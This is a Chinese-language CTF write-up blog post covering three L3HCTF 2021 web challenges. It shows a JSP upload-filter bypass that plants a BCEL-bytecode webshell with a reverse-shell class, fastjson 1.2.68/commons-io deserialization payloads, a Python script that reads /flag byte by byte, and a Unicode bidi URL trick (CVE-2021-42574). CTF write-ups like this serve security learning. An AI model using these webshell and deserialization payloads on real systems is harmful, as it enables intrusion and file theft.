c1ay's blog

2021 L3HCTF 部分web wp

字数统计: 1.5k阅读时长: 8 min
2021/11/19 Share

2021 L3HCTF 部分web wp

团队最终排名第15,仅记录个人参与解出的题

bypass

UploadServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
package com.l3hsec;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.List;
import java.util.UUID;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@WebServlet("/UploadServlet")
public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
// 上传文件存储目录
private static final String UPLOAD_DIRECTORY = "upload";
// 上传配置
private static final int MEMORY_THRESHOLD = 1024 * 1024 * 3;
private static final int MAX_FILE_SIZE = 1024 * 1024 * 1;
private static final int MAX_REQUEST_SIZE = 1024 * 1024 * 1;
/**
* 上传数据及保存文件
*/
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=UTF-8");
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(MEMORY_THRESHOLD);
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setFileSizeMax(MAX_FILE_SIZE);
upload.setSizeMax(MAX_REQUEST_SIZE);
upload.setHeaderEncoding("UTF-8");
String userDir = md5(request.getRemoteAddr());
String uploadPath = request.getServletContext().getRealPath("./") + File.separator + UPLOAD_DIRECTORY + File.separator + userDir;
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
try {
List<FileItem> formItems = upload.parseRequest(request);
if (formItems != null && formItems.size() > 0) {
for (FileItem item : formItems) {
if (!item.isFormField()) {
String fileName = new File(item.getName()).getName();
if (fileName.lastIndexOf('.') == -1) {
PrintWriter writer = response.getWriter();
writer.println("Error: 缺少文件后缀!");
writer.flush();
return;
}
String ext = fileName.substring(fileName.lastIndexOf('.'));
ext = checkExt(ext);
String filePath = uploadPath + File.separator + randName() + ext;
File storeFile = new File(filePath);
String content = item.getString();
boolean check = checkValidChars(content);
if (check){
response.getWriter().write("上传失败:检测到可见字符");
return;
}
//居然被绕过了,得再加一层过滤
BlackWordsDetect blackWordsDetect = new BlackWordsDetect(item);
boolean detectResult = blackWordsDetect.detect();
if (detectResult) {
response.getWriter().write("上传失败:检测到黑名单关键字! " + blackWordsDetect.getBlackWord());
return;
} else {
item.write(storeFile);
response.getWriter().write("文件上传成功! 文件路径: " + filePath);
}
}
}
}
} catch (Exception ex) {
response.getWriter().write(
"上传失败:错误原因: " + ex.getMessage());
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toLowerCase();
} catch (Exception e) {
}
return ret;
}
public static String randName() {
return UUID.randomUUID().toString();
}
public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}
public static String checkExt(String ext) {
ext = ext.toLowerCase();
String[] blackExtList = {
"jsp", "jspx"
};
for (String blackExt : blackExtList) {
if (ext.contains(blackExt)) {
ext = ext.replace(blackExt, "");
}
}
return ext;
}
}

通过Content-Type: application/octet-stream; charset=utf-16;可以绕过checkValidChars函数当中Pattern.compile("[a-zA-Z0-9]{2,}");的限制,jsp后缀双写可成功上传jsp,然后接下来是绕过jsp文件内容检测,过滤了Runtime、invoke、newInstance、setAccessible、loadClass、\u、defineClass等很多关键字

但是forNameClassLoader没有被过滤,可以通过加载BCEL字节码的方式进行绕过,首先编写一个恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.*;
public class Evil {
static
{
try
{
Runtime.getRuntime().exec("反弹shell").waitFor();
}
catch (Exception e)
{
}
}
}

生成BCEL字节码:

1
$$BCEL$$$l$8b$I$A$A$A$A$A$A......

构造上传数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /UploadServlet HTTP/1.1
Host: 123.60.20.221:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2171785994239904794759952369
Content-Length: 1544
Origin: http://123.60.20.221:10001
Connection: close
Referer: http://123.60.20.221:10001/
Cookie: JSESSIONID=880DC23EAD4740C913DFE4D657EFB0E1
Upgrade-Insecure-Requests: 1
-----------------------------2171785994239904794759952369
Content-Disposition: form-data; name="uploadFile"; filename="1.jsjspp"
Content-Type: application/octet-stream; charset=utf-16;
<%@ page import="java.util.*,java.io.*"%>
<% String a="111";a.getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A......",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()); %>
-----------------------------2171785994239904794759952369--

上传成功

mark

访问webshell即可反弹shell

1
http://123.60.20.221:10001/upload/adeacf493deabc9b95a5d3f8ceaefb5a/162862ec-28d0-4e96-98fd-534a0eba6338.jsp

mark

L3HCTF{J4v4_1S_s0_fUN_4nd_U_must_b3_j4v4_k1ng}

(这里还能进行tomcat回显,以应对实战中不出网的情况,这里不再赘述,感兴趣的师傅可以尝试构造一下)

cover:

admin/123456登录成功

题目给了提示:
HINT: fastjson:1.2.68 JSON.parseArray(data,User.class);

经过测试发现存在common-io依赖

1
2
3
4
5
6
7
8
POST /dynamic_table HTTP/1.1
Host: 124.71.173.23:8088
Cookie: JSESSIONID=4431B0C9A81DD94C20987DEA61CBE3E5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
data=[{"age":"20","id":1,"password":"hhhhhh","userName":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa","start":0,"end":2147483647},"charsetName":"UTF-8","bufferSize":1024}}]

本地测试网上公开写文件的payload后发现

文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

当解析json的方式为JSON.parseObject(s,xxx.class)时,文件可以正常写入

当解析json的方式为JSON.parseArray(s,xxx.class)时(该题目的方式),会出现报错,文件写入失败(只能创建文件但是内容写不进去)

搜索到今年blackhat分享的读文件利用链

https://paper.seebug.org/1698/#3commons-io

可以通过commons-io逐字节读文件内容payload

1
2
3
4
5
6
7
8
POST /dynamic_table HTTP/1.1
Host: 124.71.173.23:8088
Cookie: JSESSIONID=13362E0192EFCF68C5297D5CA44BC258
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 418
data=[{"age":"20","id":1,"password":"hhhhhh","userName":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[76]}]},"address":{"$ref":"$.abc.BOM"}}}]

判断出flag文件为/flag,文件内容第一个字节为76(TA==),也就是L

mark

编写python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
session = requests.Session()
bytess=""
flag=""
while True:
for i in range(33,128):
paramsPost = {"data":"[{\"age\":\"20\",\"id\":1,\"password\":\"hhhhhh\",\"userName\":{\"abc\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":{\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"file:///flag\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"boms\":[{\"charsetName\":\"UTF-8\",\"bytes\":[%s]}]},\"address\":{\"\x24ref\":\"\x24.abc.BOM\"}}}]"%(bytess+str(i))}
#print(paramsPost)
headers = {"Connection":"close","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"JSESSIONID":"2B4C807D2AA638E483515AC7F27E0869"}
response = session.post("http://124.71.173.23:8088/dynamic_table", data=paramsPost, headers=headers, cookies=cookies)
#print(response.text)
if "bOM" in response.text:
bytess=bytess+str(i)+","
flag+=chr(i)
print(flag)
break

mark

L3HCTF{cov3r_means_discover_4nd_k1ll_1t_over!!}

Easy PHP

代码如下:

mark

根据预期传入username=admin&password=l3hctf没有反应

mark

题目提示是RGB,猜测存在隐写

然后就鼠标双击复制粘贴payload就可以了

复制完直接粘贴,构造的url为

1
http://124.71.176.131:10001/index.php?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf

mark

flag{Y0U_F0UND_CVE-2021-42574!}

CATALOG
  1. 1. 2021 L3HCTF 部分web wp
    1. 1.0.1. bypass
    2. 1.0.2. cover:
    3. 1.0.3. Easy PHP